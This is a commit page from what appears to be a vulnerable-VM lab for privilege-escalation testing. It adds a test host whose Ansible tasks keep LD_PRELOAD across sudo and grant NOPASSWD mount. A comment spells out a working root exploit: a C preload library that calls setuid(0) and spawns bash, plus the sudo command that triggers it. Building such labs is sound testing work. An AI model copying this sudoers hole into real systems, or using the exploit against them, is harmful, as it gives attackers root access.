Skip to content

Commit b264125

Browse files
committed
Add new test case with LD_PRELOAD preserved on sudo calls
1 parent c6941d2 commit b264125

File tree

5 files changed

+53
-5
lines changed

5 files changed

+53
-5
lines changed

‎Vagrantfile‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ Vagrant.configure("2") do |config|
4444
# ansible.playbook = "./../tasks.yaml"
4545
#end
4646

47-
(1..14).each do |i|
47+
(1..15).each do |i|
4848
config.vm.define "test-#{i}" do |node|
4949
node.vm.network "private_network", ip: "192.168.122.#{i+150}"
5050
node.vm.hostname = "test-#{i}"

‎create_and_start_vms.sh‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ vagrant up
77
gawk -i inplace '!/^192.168.122./' ~/.ssh/known_hosts
88

99
# check if we can connect to the different machines
10-
for i in $(seq 1 14); do
10+
for i in $(seq 1 15); do
1111
ip=$((150+$i))
1212
hostname=$(ssh root@192.168.122.$ip hostname)
1313

‎hints.json‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,5 +12,6 @@
1212
"test-11" : "it looks like there is a periodic backup script in the home directory.",
1313
"test-12" : "it looks like the backup directory is periodically saved away.",
1414
"test-13" : "there might be some exploitable suid binary on the system.",
15-
"test-14" : "root's password might be in a protected file"
15+
"test-14" : "root's password might be in a protected file",
16+
"test-15" : "LD_PRELOAD might be enabled"
1617
}

‎hosts.ini‎

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
192.168.122.162
1313
192.168.122.163
1414
192.168.122.164
15+
192.168.122.165
1516

1617
# those are mostly file-based (suid/sudo)
1718

@@ -63,4 +64,8 @@
6364

6465
# root read privileges over suid
6566
[vuln_suid_read_privileges]
66-
192.168.122.164
67+
192.168.122.164
68+
69+
# LD_PRELOAD is kept on sudo calls
70+
[vuln_ld_preload]
71+
192.168.122.165

‎tasks.yaml‎

Lines changed: 43 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -284,4 +284,46 @@
284284

285285
- name: set the suid bit for base64
286286
command: chmod u+s /usr/bin/base64
287-
# base64 root_password | base64 -d; su
287+
# base64 root_password | base64 -d; su
288+
289+
- name: LD_PRELOAD enabled on sudo calls
290+
hosts: vuln_ld_preload
291+
gather_facts: true
292+
remote_user: root
293+
tasks:
294+
- name: install gcc
295+
apt:
296+
name: gcc
297+
state: present
298+
299+
- name: allow LD_PRELOAD in sudo
300+
lineinfile:
301+
path: /etc/sudoers
302+
line: 'Defaults env_keep += "LD_PRELOAD"'
303+
state: present
304+
validate: '/usr/sbin/visudo -cf %s'
305+
306+
- name: allow lowpriv to execute sudo mount
307+
lineinfile:
308+
path: /etc/sudoers
309+
line: 'lowpriv ALL=(ALL) NOPASSWD: /bin/mount /dev/sdb1 /mnt/usb'
310+
state: present
311+
validate: '/usr/sbin/visudo -cf %s'
312+
313+
- name: allow lowpriv to execute sudo umount
314+
lineinfile:
315+
path: /etc/sudoers
316+
line: 'lowpriv ALL=(ALL) NOPASSWD: /bin/umount /mnt/usb'
317+
state: present
318+
validate: '/usr/sbin/visudo -cf %s'
319+
# nano exploit.c
320+
# #include <unistd.h>
321+
# #include <stdlib.h>
322+
# void _init() {
323+
# unsetenv("LD_PRELOAD");
324+
# setgid(0);
325+
# setuid(0);
326+
# system("/bin/bash");
327+
# }
328+
# gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
329+
# sudo LD_PRELOAD=$PWD/exploit.so /bin/mount /dev/sdb1 /mnt/usb

0 commit comments

Comments
 (0)